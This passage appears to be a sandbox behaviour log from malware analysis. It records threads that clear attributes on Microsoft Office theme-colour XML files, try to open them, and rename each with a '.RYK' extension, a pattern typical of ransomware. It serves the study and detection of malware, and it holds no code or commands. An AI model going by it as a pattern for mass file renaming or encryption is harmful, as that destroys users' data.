	[0265.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3615
	os_tid = 0x3de4

	[0262.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml", dwFileAttributes=0x80) returned 0
	[0265.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.950] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3616
	os_tid = 0x3de8

	[0262.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml", dwFileAttributes=0x80) returned 0
	[0265.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.952] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3617
	os_tid = 0x3dec

	[0262.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml", dwFileAttributes=0x80) returned 0
	[0265.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3618
	os_tid = 0x3df0

	[0262.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml", dwFileAttributes=0x80) returned 0
	[0265.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3619
	os_tid = 0x3df4

	[0262.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml", dwFileAttributes=0x80) returned 0
	[0265.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3620
	os_tid = 0x3df8

	[0262.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml", dwFileAttributes=0x80) returned 0
	[0265.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.958] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3621
	os_tid = 0x3dfc

	[0265.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml", dwFileAttributes=0x80) returned 0
	[0265.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3622
	os_tid = 0x3e00

	[0265.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml", dwFileAttributes=0x80) returned 0
	[0265.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.962] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3623
	os_tid = 0x3e04

	[0265.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml", dwFileAttributes=0x80) returned 0
	[0265.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.963] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3624
	os_tid = 0x3e08

	[0265.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml", dwFileAttributes=0x80) returned 0
	[0265.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.965] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3625
	os_tid = 0x3e0c

	[0265.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml", dwFileAttributes=0x80) returned 0
	[0265.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3626
	os_tid = 0x3e10

	[0265.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml", dwFileAttributes=0x80) returned 0
	[0266.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3627
	os_tid = 0x3e14

	[0265.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml", dwFileAttributes=0x80) returned 0
	[0266.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3628
	os_tid = 0x3e18

	[0265.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml", dwFileAttributes=0x80) returned 0
	[0266.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3629
	os_tid = 0x3e1c

	[0265.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml", dwFileAttributes=0x80) returned 0
	[0265.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3630
	os_tid = 0x3e20

	[0265.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml", dwFileAttributes=0x80) returned 0
	[0266.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3631
	os_tid = 0x3e24

	[0265.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml", dwFileAttributes=0x80) returned 0
	[0265.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3632
	os_tid = 0x3e28

	[0265.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml", dwFileAttributes=0x80) returned 0
	[0266.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3633
	os_tid = 0x3e2c

	[0265.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml", dwFileAttributes=0x80) returned 0
	[0265.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0265.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0265.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3634
	os_tid = 0x3e30

	[0265.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml", dwFileAttributes=0x80) returned 0
	[0266.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3635
	os_tid = 0x3e34

	[0265.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml", dwFileAttributes=0x80) returned 0
	[0266.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3636
	os_tid = 0x3e38

	[0265.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml", dwFileAttributes=0x80) returned 0
	[0266.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3637
	os_tid = 0x3e3c

	[0267.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml", dwFileAttributes=0x80) returned 0
	[0267.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3638
	os_tid = 0x3e40

	[0267.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml", dwFileAttributes=0x80) returned 0
	[0267.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3639
	os_tid = 0x3e44

	[0267.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml", dwFileAttributes=0x80) returned 0
	[0267.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3640
	os_tid = 0x3e48

	[0267.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml", dwFileAttributes=0x80) returned 0
	[0267.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
